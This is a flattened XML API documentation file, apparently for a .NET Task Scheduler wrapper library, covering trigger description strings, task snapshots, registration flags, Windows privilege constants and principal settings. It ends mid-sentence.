{3} {0:P}. + + + + + Looks up a localized string similar to every day. + + + + + Looks up a localized string similar to {1} {0}. + + + + + Looks up a localized string similar to .. + + + + + Looks up a localized string similar to The date and time a trigger expires must be later than the time time it starts or is activated.. + + + + + Looks up a localized string similar to {0} {1}. + + + + + Looks up a localized string similar to -. + + + + + Looks up a localized string similar to ,. + + + + + Looks up a localized string similar to every month. + + + + + Looks up a localized string similar to Multiple actions defined. + + + + + Looks up a localized string similar to Multiple triggers defined. + + + + + Looks up a localized string similar to {0}. + + + + + Looks up a localized string similar to Author. + + + + + Looks up a localized string similar to Disabled. + + + + + Looks up a localized string similar to Queued. + + + + + Looks up a localized string similar to Ready. + + + + + Looks up a localized string similar to Running. + + + + + Looks up a localized string similar to Unknown. + + + + + Looks up a localized string similar to any user. + + + + + Looks up a localized string similar to At system startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to At {0:t} every day. + + + + + Looks up a localized string similar to At {0:t} every {1} days. + + + + + Looks up a localized string similar to indefinitely. + + + + + Looks up a localized string similar to for a duration of {0}. + + + + + Looks up a localized string similar to for {0}. + + + + + Looks up a localized string similar to Trigger expires at {0:G}.. + + + + + Looks up a localized string similar to Custom event filter. + + + + + Looks up a localized string similar to On event - Log: {0}. + + + + + Looks up a localized string similar to , Source: {0}. + + + + + Looks up a localized string similar to , EventID: {0}. + + + + + Looks up a localized string similar to When computer is idle. + + + + + Looks up a localized string similar to At log on of {0}. + + + + + Looks up a localized string similar to At {0:t} on day {1} of {2}, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} on {1} {2:f} each {3}, starting {0:d}. + + + + + Looks up a localized string similar to When the task is created or modified. + + + + + Looks up a localized string similar to After triggered, repeat every {0} {1}.. + + + + + Looks up a localized string similar to Every {0} {1}.. + + + + + Looks up a localized string similar to On local connection to {0}.. + + + + + Looks up a localized string similar to On local disconnect from {0}.. + + + + + Looks up a localized string similar to On remote connection to {0}.. + + + + + Looks up a localized string similar to On remote disconnect from {0}.. + + + + + Looks up a localized string similar to On workstation lock of {0}.. + + + + + Looks up a localized string similar to On workstation unlock of {0}.. + + + + + Looks up a localized string similar to user session of {0}. + + + + + Looks up a localized string similar to At {0:t} on {0:d}. + + + + + Looks up a localized string similar to At startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to Daily. + + + + + Looks up a localized string similar to On an event. + + + + + Looks up a localized string similar to On idle. + + + + + Looks up a localized string similar to At log on. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to At task creation/modification. + + + + + Looks up a localized string similar to On state change. + + + + + Looks up a localized string similar to One time. + + + + + Looks up a localized string similar to Weekly. + + + + + Looks up a localized string similar to At {0:t} every {1} of every week, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} every {1} of every {2} weeks, starting {0:d}. + + + + + Looks up a localized string similar to every. + + + + + Looks up a localized string similar to fifth. + + + + + Looks up a localized string similar to first. + + + + + Looks up a localized string similar to fourth. + + + + + Looks up a localized string similar to last. + + + + + Looks up a localized string similar to second. + + + + + Looks up a localized string similar to third. + + + + + Some string values of properties can be set to retrieve their value from existing DLLs as a resource. This class facilitates creating those reference strings. + + + + + Initializes a new instance of the class. + + The DLL path. + The resource identifier. + + + + Gets or sets the resource file path. This can be a relative path, full path or lookup path (e.g. %SystemRoot%\System32\ResourceName.dll). + + + The resource file path. + + + + + Gets or sets the resource identifier. + + The resource identifier. + + + + Performs an implicit conversion from to . + + The value. + The result of the conversion. + + + + Parses the input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + A new instance on success or null on failure. + is null + is not in the format "$(@ [Dll], [ResourceID])" + + + + Tries to parse to input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + The resource reference to be returned. On failure, this value equals null. + A new instance on success or null on failure. + + + + Gets the result of pulling the string from the resource file using the identifier. + + from resource file. + cannot be found. + Unable to load or string identified by . + + + + Returns a in the format required by the Task Scheduler to reference a string in a DLL. + + A formatted in the format $(@ [Dll], [ResourceID]). + + + Abstract class representing a secured item for storage in a . + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + Gets the path to the item. + The path to the item. + + + Gets the SDDL for the item. + The SDDL for the item. + + + Represents a instance and captures its name and security. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + + Represents all the information about the tasks and folders from a instance that can be used to reconstitute tasks and folders + on the same or different systems. This class and related classes are only available under the .NET 4.5.2 build and later .NET versions due to + dependencies on threading and compressed (zip) files. + + + + Creates a new instance of from an existing snapshot. + The zip file snapshot created by the method. + + + + Gets a list of and instances the represent the tasks and folders from a Task Scheduler instance. + + + + Gets the path of the file based snapshot. + + + Gets the machine name of the server from which the snapshot was taken. + The target server name. + + + Gets the UTC time stamp for when the snapshot was taken. + The time stamp. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method can take many seconds to execute. It is recommended to call the asynchronous + version.This method will execute without error even if the user does not have permissions to see all tasks and folders. + It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A instance with the contents of the specified Task Scheduler connection. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method will execute without error even if the user does not have permissions to see all + tasks and folders. It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance with the contents of the specified Task Scheduler connection. + + + Opens an existing snapshot and returns a new instance of . + The zip file snapshot created by the method. + A instance with the contents of the specified snapshot file. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of paths representing the tasks and folders from this snapshot that should be registered on the instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + + + Represents a instance and captures its details. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + If set to true task is enabled. + The XML for the . + + + Gets a value indicating whether th is enabled. + true if enabled; otherwise, false. + + + Gets the XML. + The XML. + + + Defines what versions of Task Scheduler or the AT command that the task is compatible with. + + + The task is compatible with the AT command. + + + + The task is compatible with Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + Items not available when compared to V2: + + TaskDefinition.Principal.GroupId - All account information can be retrieved via the UserId property. + TaskLogonType values Group, None and S4U are not supported. + TaskDefinition.Principal.RunLevel == TaskRunLevel.Highest is not supported. + + Assigning access security to a task is not supported using TaskDefinition.RegistrationInfo.SecurityDescriptorSddlForm or in RegisterTaskDefinition. + + + TaskDefinition.RegistrationInfo.Documentation, Source, URI and Version properties are only supported using this library. See + details in the remarks for . + + TaskDefinition.Settings.AllowDemandStart cannot be false. + TaskDefinition.Settings.AllowHardTerminate cannot be false. + TaskDefinition.Settings.MultipleInstances can only be IgnoreNew. + TaskDefinition.Settings.NetworkSettings cannot have any values. + TaskDefinition.Settings.RestartCount can only be 0. + TaskDefinition.Settings.StartWhenAvailable can only be false. + + TaskDefinition.Actions can only contain ExecAction instances unless the TaskDefinition.Actions.PowerShellConversion property has + the Version1 flag set. + + TaskDefinition.Triggers cannot contain CustomTrigger, EventTrigger, SessionStateChangeTrigger, or RegistrationTrigger instances. + TaskDefinition.Triggers cannot contain instances with delays set. + TaskDefinition.Triggers cannot contain instances with ExecutionTimeLimit or Id properties set. + TaskDefinition.Triggers cannot contain LogonTriggers instances with the UserId property set. + TaskDefinition.Triggers cannot contain MonthlyDOWTrigger instances with the RunOnLastWeekOfMonth property set to true. + TaskDefinition.Triggers cannot contain MonthlyTrigger instances with the RunOnDayWeekOfMonth property set to true. + + + + + + The task is compatible with Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + This version is the baseline for the new, non-file based Task Scheduler. See remarks for + functionality that was not forward-compatible. + + + + + + The task is compatible with Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + Changes from V2: + + TaskDefinition.Principal.ProcessTokenSidType can be defined as a value other than Default. + + TaskDefinition.Actions may not contain EmailAction or ShowMessageAction instances unless the + TaskDefinition.Actions.PowerShellConversion property has the Version2 flag set. + + TaskDefinition.Principal.RequiredPrivileges can have privilege values assigned. + TaskDefinition.Settings.DisallowStartOnRemoteAppSession can be set to true. + TaskDefinition.UseUnifiedSchedulingEngine can be set to true. + + + + + + The task is compatible with Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + Changes from V2_1: + + + TaskDefinition.Settings.MaintenanceSettings can have Period or Deadline be values other than TimeSpan.Zero or the Exclusive + property set to true. + + TaskDefinition.Settings.Volatile can be set to true. + + + + + + The task is compatible with Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + Changes from V2_2: + + None published. + + + + + Defines how the Task Scheduler service creates, updates, or disables the task. + + + The Task Scheduler service registers the task as a new task. + + + + The Task Scheduler service either registers the task as a new task or as an updated version if the task already exists. + Equivalent to Create | Update. + + + + + The Task Scheduler service registers the disabled task. A disabled task cannot run until it is enabled. For more information, + see Enabled Property of TaskSettings and Enabled Property of RegisteredTask. + + + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. When the + TaskFolder.RegisterTaskDefinition or TaskFolder.RegisterTask functions are called with this flag to update a task, the Task + Scheduler service does not add the ACE for the new context principal and does not remove the ACE from the old context principal. + + + + + The Task Scheduler service creates the task, but ignores the registration triggers in the task. By ignoring the registration + triggers, the task will not execute when it is registered unless a time-based trigger causes it to execute on registration. + + + + + The Task Scheduler service registers the task as an updated version of an existing task. When a task with a registration trigger + is updated, the task will execute after the update occurs. + + + + + The Task Scheduler service checks the syntax of the XML that describes the task but does not register the task. This constant + cannot be combined with the Create, Update, or CreateOrUpdate values. + + + + Defines how the Task Scheduler handles existing instances of the task when it starts a new instance of the task. + + + Starts new instance while an existing instance is running. + + + Starts a new instance of the task after all other instances of the task are complete. + + + Does not start a new instance if an existing instance of the task is running. + + + Stops an existing instance of the task before it starts a new instance. + + + Defines what logon technique is required to run a task. + + + The logon method is not specified. Used for non-NT credentials. + + + Use a password for logging on the user. The password must be supplied at registration time. + + + + Use an existing interactive token to run a task. The user must log on using a service for user (S4U) logon. When an S4U logon is + used, no password is stored by the system and there is no access to either the network or to encrypted files. + + + + User must already be logged on. The task will be run only in an existing interactive session. + + + Group activation. The groupId field specifies the group. + + + + Indicates that a Local System, Local Service, or Network Service account is being used as a security context to run the task. + + + + + First use the interactive token. If the user is not logged on (no interactive token is available), then the password is used. + The password must be specified when a task is registered. This flag is not recommended for new tasks because it is less reliable + than Password. + + + + Defines which privileges must be required for a secured task. + + + Required to create a primary token. User Right: Create a token object. + + + Required to assign the primary token of a process. User Right: Replace a process-level token. + + + Required to lock physical pages in memory. User Right: Lock pages in memory. + + + Required to increase the quota assigned to a process. User Right: Adjust memory quotas for a process. + + + Required to read unsolicited input from a terminal device. User Right: Not applicable. + + + Required to create a computer account. User Right: Add workstations to domain. + + + + This privilege identifies its holder as part of the trusted computer base. Some trusted protected subsystems are granted this + privilege. User Right: Act as part of the operating system. + + + + + Required to perform a number of security-related functions, such as controlling and viewing audit messages. This privilege + identifies its holder as a security operator. User Right: Manage auditing and the security log. + + + + + Required to take ownership of an object without being granted discretionary access. This privilege allows the owner value to be + set only to those values that the holder may legitimately assign as the owner of an object. User Right: Take ownership of files + or other objects. + + + + Required to load or unload a device driver. User Right: Load and unload device drivers. + + + Required to gather profiling information for the entire system. User Right: Profile system performance. + + + Required to modify the system time. User Right: Change the system time. + + + Required to gather profiling information for a single process. User Right: Profile single process. + + + Required to increase the base priority of a process. User Right: Increase scheduling priority. + + + Required to create a paging file. User Right: Create a pagefile. + + + Required to create a permanent object. User Right: Create permanent shared objects. + + + + Required to perform backup operations. This privilege causes the system to grant all read access control to any file, regardless + of the access control list (ACL) specified for the file. Any access request other than read is still evaluated with the ACL. + This privilege is required by the RegSaveKey and RegSaveKeyExfunctions. The following access rights are granted if this + privilege is held: READ_CONTROL, ACCESS_SYSTEM_SECURITY, FILE_GENERIC_READ, FILE_TRAVERSE. User Right: Back up files and directories. + + + + + Required to perform restore operations. This privilege causes the system to grant all write access control to any file, + regardless of the ACL specified for the file. Any access request other than write is still evaluated with the ACL. Additionally, + this privilege enables you to set any valid user or group security identifier (SID) as the owner of a file. This privilege is + required by the RegLoadKey function. The following access rights are granted if this privilege is held: WRITE_DAC, WRITE_OWNER, + ACCESS_SYSTEM_SECURITY, FILE_GENERIC_WRITE, FILE_ADD_FILE, FILE_ADD_SUBDIRECTORY, DELETE. User Right: Restore files and directories. + + + + Required to shut down a local system. User Right: Shut down the system. + + + Required to debug and adjust the memory of a process owned by another account. User Right: Debug programs. + + + Required to generate audit-log entries. Give this privilege to secure servers. User Right: Generate security audits. + + + + Required to modify the nonvolatile RAM of systems that use this type of memory to store configuration information. User Right: + Modify firmware environment values. + + + + + Required to receive notifications of changes to files or directories. This privilege also causes the system to skip all + traversal access checks. It is enabled by default for all users. User Right: Bypass traverse checking. + + + + Required to shut down a system by using a network request. User Right: Force shutdown from a remote system. + + + Required to undock a laptop. User Right: Remove computer from docking station. + + + + Required for a domain controller to use the LDAP directory synchronization services. This privilege allows the holder to read + all objects and properties in the directory, regardless of the protection on the objects and properties. By default, it is + assigned to the Administrator and LocalSystem accounts on domain controllers. User Right: Synchronize directory service data. + + + + + Required to mark user and computer accounts as trusted for delegation. User Right: Enable computer and user accounts to be + trusted for delegation. + + + + Required to enable volume management privileges. User Right: Manage the files on a volume. + + + + Required to impersonate. User Right: Impersonate a client after authentication. Windows XP/2000: This privilege is not + supported. Note that this value is supported starting with Windows Server 2003, Windows XP with SP2, and Windows 2000 with SP4. + + + + + Required to create named file mapping objects in the global namespace during Terminal Services sessions. This privilege is + enabled by default for administrators, services, and the local system account. User Right: Create global objects. Windows + XP/2000: This privilege is not supported. Note that this value is supported starting with Windows Server 2003, Windows XP with + SP2, and Windows 2000 with SP4. + + + + Required to access Credential Manager as a trusted caller. User Right: Access Credential Manager as a trusted caller. + + + Required to modify the mandatory integrity level of an object. User Right: Modify an object label. + + + + Required to allocate more memory for applications that run in the context of users. User Right: Increase a process working set. + + + + Required to adjust the time zone associated with the computer's internal clock. User Right: Change the time zone. + + + Required to create a symbolic link. User Right: Create symbolic links. + + + + Defines the types of process security identifier (SID) that can be used by tasks. These changes are used to specify the type of + process SID in the IPrincipal2 interface. + + + + No changes will be made to the process token groups list. + + + + A task SID that is derived from the task name will be added to the process token groups list, and the token default + discretionary access control list (DACL) will be modified to allow only the task SID and local system full control and the + account SID read control. + + + + A Task Scheduler will apply default settings to the task process. + + + Defines how a task is run. + + + The task is run with all flags ignored. + + + The task is run as the user who is calling the Run method. + + + The task is run regardless of constraints such as "do not run on batteries" or "run only if idle". + + + The task is run using a terminal server session identifier. + + + The task is run using a security identifier. + + + Defines LUA elevation flags that specify with what privilege level the task will be run. + + + Tasks will be run with the least privileges. + + + Tasks will be run with the highest privileges. + + + + Defines what kind of Terminal Server session state change you can use to trigger a task to start. These changes are used to specify + the type of state change in the SessionStateChangeTrigger. + + + + + Terminal Server console connection state change. For example, when you connect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server console disconnection state change. For example, when you disconnect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server remote connection state change. For example, when a user connects to a user session by using the Remote Desktop + Connection program from a remote computer. + + + + + Terminal Server remote disconnection state change. For example, when a user disconnects from a user session while using the + Remote Desktop Connection program from a remote computer. + + + + + Terminal Server session locked state change. For example, this state change causes the task to run when the computer is locked. + + + + + Terminal Server session unlocked state change. For example, this state change causes the task to run when the computer is unlocked. + + + + Options for use when calling the SetSecurityDescriptorSddlForm methods. + + + No special handling. + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. + + + Defines the different states that a registered task can be in. + + + The state of the task is unknown. + + + + The task is registered but is disabled and no instances of the task are queued or running. The task cannot be run until it is enabled. + + + + Instances of the task are queued. + + + The task is ready to be executed, but no instances are queued or running. + + + One or more instances of the task is running. + + + + Specifies how the Task Scheduler performs tasks when the computer is in an idle condition. For information about idle conditions, + see Task Idle Conditions. + + + + Occurs when a property value changes. + + + + Gets or sets a value that indicates the amount of time that the computer must be in an idle state before the task is run. + + + A value that indicates the amount of time that the computer must be in an idle state before the task is run. The minimum value + is one minute. If this value is TimeSpan.Zero, then the delay will be set to the default of 10 minutes. + + + + + Gets or sets a Boolean value that indicates whether the task is restarted when the computer cycles into an idle condition more + than once. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will terminate the task if the idle condition ends before + the task is completed. + + + + + Gets or sets a value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. If no + value is specified for this property, then the Task Scheduler service will wait indefinitely for an idle condition to occur. + + + A value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. The minimum time + allowed is 1 minute. If this value is TimeSpan.Zero, then the delay will be the equivalent of "Do not wait". + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Specifies the task settings the Task scheduler will use to start task during Automatic maintenance. + + + Occurs when a property value changes. + + + + Gets or sets the amount of time after which the Task scheduler attempts to run the task during emergency Automatic maintenance, + if the task failed to complete during regular Automatic maintenance. The minimum value is one day. The value of the property should be greater than the value of the property. If the deadline is not + specified the task will not be started during emergency Automatic maintenance. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a value indicating whether the Task Scheduler must start the task during the Automatic maintenance in exclusive + mode. The exclusivity is guaranteed only between other maintenance tasks and doesn't grant any ordering priority of the task. If + exclusivity is not specified, the task is started in parallel with other maintenance tasks. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets the amount of time the task needs to be started during Automatic maintenance. The minimum value is one minute. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to obtain a network profile. + + + Occurs when a property value changes. + + + Gets or sets a GUID value that identifies a network profile. + Not supported under Task Scheduler 1.0. + + + Gets or sets the name of a network profile. The name is used for display purposes. + Not supported under Task Scheduler 1.0. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the methods to get information from and control a running task. + + + Gets the process ID for the engine (process) which is running the task. + Not supported under Task Scheduler 1.0. + + + Gets the name of the current action that the running task is performing. + + + Gets the GUID identifier for this instance of the task. + + + Gets the operational state of the running task. + + + Releases all resources used by this class. + + + Refreshes all of the local instance variables of the task. + Thrown if task is no longer running. + + + + Provides the methods that are used to run the task immediately, get any running instances of the task, get or set the credentials + that are used to register the task, and the properties that describe the task. + + + + Occurs when a property value changes. + + + Gets the definition of the task. + + + Gets or sets a Boolean value that indicates if the registered task is enabled. + + As of version 1.8.1, under V1 systems (prior to Vista), this property will immediately update the Disabled state and re-save the + current task. If changes have been made to the , then those changes will be saved. + + + + Gets an instance of the parent folder. + A object representing the parent folder of this task. + + + Gets a value indicating whether this task instance is active. + true if this task instance is active; otherwise, false. + + + Gets the time the registered task was last run. + Returns if there are no prior run times. + + + Gets the results that were returned the last time the registered task was run. + The value returned is the last exit code of the last program run via an . + + + + + + + + Gets the time when the registered task is next scheduled to run. + Returns if there are no future run times. + + Potentially breaking change in release 1.8.2. For Task Scheduler 2.0, the return value prior to 1.8.2 would be Dec 30, 1899 if + there were no future run times. For 1.0, that value would have been DateTime.MinValue. In release 1.8.2 and later, all + versions will return DateTime.MinValue if there are no future run times. While this is different from the native 2.0 + library, it was deemed more appropriate to have consistency between the two libraries and with other .NET libraries. + + + + + Gets a value indicating whether this task is read only. Only available if is true. + + true if read only; otherwise, false. + + + Gets or sets the security descriptor for the task. + The security descriptor. + + + Gets the operational state of the registered task. + + + Gets or sets the that manages this task. + The task service. + + + Gets the name of the registered task. + + + Gets the number of times the registered task has missed a scheduled run. + Not supported under Task Scheduler 1.0. + + + Gets the path to where the registered task is stored. + + + Gets the XML-formatted registration information for the registered task. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Exports the task to the specified file in XML. + Name of the output file. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + A object that encapsulates the access control rules for the current task. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + + One of the values that specifies which group of access control + entries to retrieve. + + A object that encapsulates the access control rules for the current task. + + + Gets all instances of the currently running registered task. + A with all instances of current task. + Not supported under Task Scheduler 1.0. + + + + Gets the last registration time, looking first at the value and then looking for the + most recent registration event in the Event Log. + + of the last registration or if no value can be found. + + + Gets the times that the registered task is scheduled to run during a specified time. + The starting time for the query. + The ending time for the query. + The requested number of runs. A value of 0 will return all times requested. + The scheduled times that the task will run. + + + Gets the security descriptor for the task. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the task. + Not supported under Task Scheduler 1.0. + + + + Updates the task with any changes made to the by calling from the currently registered folder using the currently + registered name. + + Thrown if task was previously registered with a password. + + + Runs the registered task immediately. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + Run() + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + + + + + + Runs the registered task immediately using specified flags and a session identifier. + Defines how the task is run. + + The terminal server session in which you want to start the task. + + If the value is not passed into the parameter, then the value + specified in this parameter is ignored.If the value is passed into the flags parameter + and the sessionID value is less than or equal to 0, then an invalid argument error will be returned. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if no value is specified for the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is logged on to the specified session. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if a user is specified in the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is specified in the user parameter. + + + The user for which the task runs. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + RunEx(0, 0, "MyUserName") + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + This method will return without error, but the task will not run if the AllowDemandStart property of ITaskSettings is set to + false for the task. + + If RunEx is invoked from a disabled task, it will return null and the task will not be run. + + Not supported under Task Scheduler 1.0. + + + + + + + + + Applies access control list (ACL) entries described by a object to the file described by the current + object. + + + A object that describes an access control list (ACL) entry to apply to the current task. + + + Give read access to all authenticated users for a task. + + + + + + + Sets the security descriptor for the task. Not available to Task Scheduler 1.0. + The security descriptor for the task. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + Dynamically tries to load the assembly for the editor and displays it as editable for this task. + true if editor returns with OK response; false otherwise. + + The Microsoft.Win32.TaskSchedulerEditor.dll assembly must reside in the same directory as the Microsoft.Win32.TaskScheduler.dll + or in the GAC. + + + + Shows the property page for the task (v1.0 only). + + + Stops the registered task immediately. + + The Stop method stops all instances of the task. + + System account users can stop a task, users with Administrator group privileges can stop a task, and if a user has rights to + execute and read a task, then the user can stop the task. A user can stop the task instances that are running under the same + credentials as the user account. In all other cases, the user is denied access to stop the task. + + + + + Returns a that represents this instance. + A that represents this instance. + + + + Gets the ITaskDefinition for a V2 task and prevents the errors that come when connecting remotely to a higher version of the + Task Scheduler. + + The local task service. + The task instance. + if set to true this method will throw an exception if unable to get the task definition. + A valid ITaskDefinition that should not throw errors on the local instance. + Unable to get a compatible task definition for this version of the library. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Contains information about the compatibility of the current configuration with a specified version. + + + Gets the compatibility level. + The compatibility level. + + + Gets the property name with the incompatibility. + The property name. + + + Gets the reason for the incompatibility. + The reason. + + + Defines all the components of a task, such as the task settings, triggers, actions, and registration information. + + + Occurs when a property value changes. + + + Gets a collection of actions that are performed by the task. + + + + Gets or sets the data that is associated with the task. This data is ignored by the Task Scheduler service, but is used by + third-parties who wish to extend the task format. + + + For V1 tasks, this library makes special use of the SetWorkItemData and GetWorkItemData methods and does not expose that data + stream directly. Instead, it uses that data stream to hold a dictionary of properties that are not supported under V1, but can + have values under V2. An example of this is the value which is stored in the data stream. + + The library does not provide direct access to the V1 work item data. If using V2 properties with a V1 task, programmatic access + to the task using the native API will retrieve unreadable results from GetWorkItemData and will eliminate those property values + if SetWorkItemData is used. + + + + + Gets the lowest supported version that supports the settings for this . + + + Gets a collection of triggers that are used to start a task. + + + Gets or sets the XML-formatted definition of the task. + + + Gets the principal for the task that provides the security credentials for the task. + + + + Gets a class instance of registration information that is used to describe a task, such as the description of the task, the + author of the task, and the date the task is registered. + + + + Gets the settings that define how the Task Scheduler service performs the task. + + + Gets the XML Schema file for V1 tasks. + The for V1 tasks. + An object containing the XML Schema for V1 tasks. + + + + Determines whether this can use the Unified Scheduling Engine or if it contains unsupported properties. + + + if set to true throws an with details about unsupported properties in the Data + property of the exception. + + + true if this can use the Unified Scheduling Engine; otherwise, false. + + + Releases all resources used by this class. + + + Validates the current . + + if set to true throw a with details about invalid properties. + + true if current is valid; false if not. + + + Implements the operator + for triggers on a definition, effectively adding the trigger to the definition. + The definition to which the trigger is to be added. + The trigger to add. + The definition with the added trigger. + + + Implements the operator + for actions on a definition, effectively adding the action to the definition. + The definition to which the action is to be added. + The action to add. + The definition with the added action. + + + Gets the lowest supported version. + The output list. + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Provides the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + + This class can only be accessed via . It is used to set properties related to the principal + (account) that will run a task. + + TaskDefinition td = TaskService.Instance.NewTask(); + td.Principal.UserId = "SYSTEM"; + td.Principal.LogonType = TaskLogonType.ServiceAccount; + + + + Occurs when a property value changes. + + + + Gets the account associated with this principal. This value is pulled from the TaskDefinition's XMLText property if set. + + The account. + + + Gets or sets the name of the principal that is displayed in the Task Scheduler UI. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the identifier of the user group that is required to run the tasks that are associated with the principal. Setting + this property to something other than a null or empty string, will set the property to NULL and will set + the property to TaskLogonType.Group; + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier of the principal. + Not supported under Task Scheduler 1.0. + + + Gets or sets the security logon method that is required to run the tasks that are associated with the principal. + + TaskLogonType values of Group, None, or S4UNot are not supported under Task Scheduler 1.0. + + + + Gets or sets the task process security identifier (SID) type. + One of the enumeration constants. + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + Not supported under Task Scheduler versions prior to 2.1. + + + + Gets the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + + + + Gets or sets the identifier that is used to specify the privilege level that is required to run the tasks that are associated + with the principal. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets the user identifier that is required to run the tasks that are associated with the principal. Setting this property + to something other than a null or empty string, will set the property to NULL; + + + + Validates the supplied account against the supplied . + The user or group account name. + The SID type for the process. + true if supplied account can be used for the supplied SID type. + + + Releases all resources used by this class. + + + Gets a value indicating whether current Principal settings require a password to be provided. + true if settings requires a password to be provided; otherwise, false. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + List of security credentials for a principal under version 1.3 of the Task Scheduler. These security credentials define the security + context for the tasks that are associated with the principal. + + + + Gets the number of elements contained in the . + The 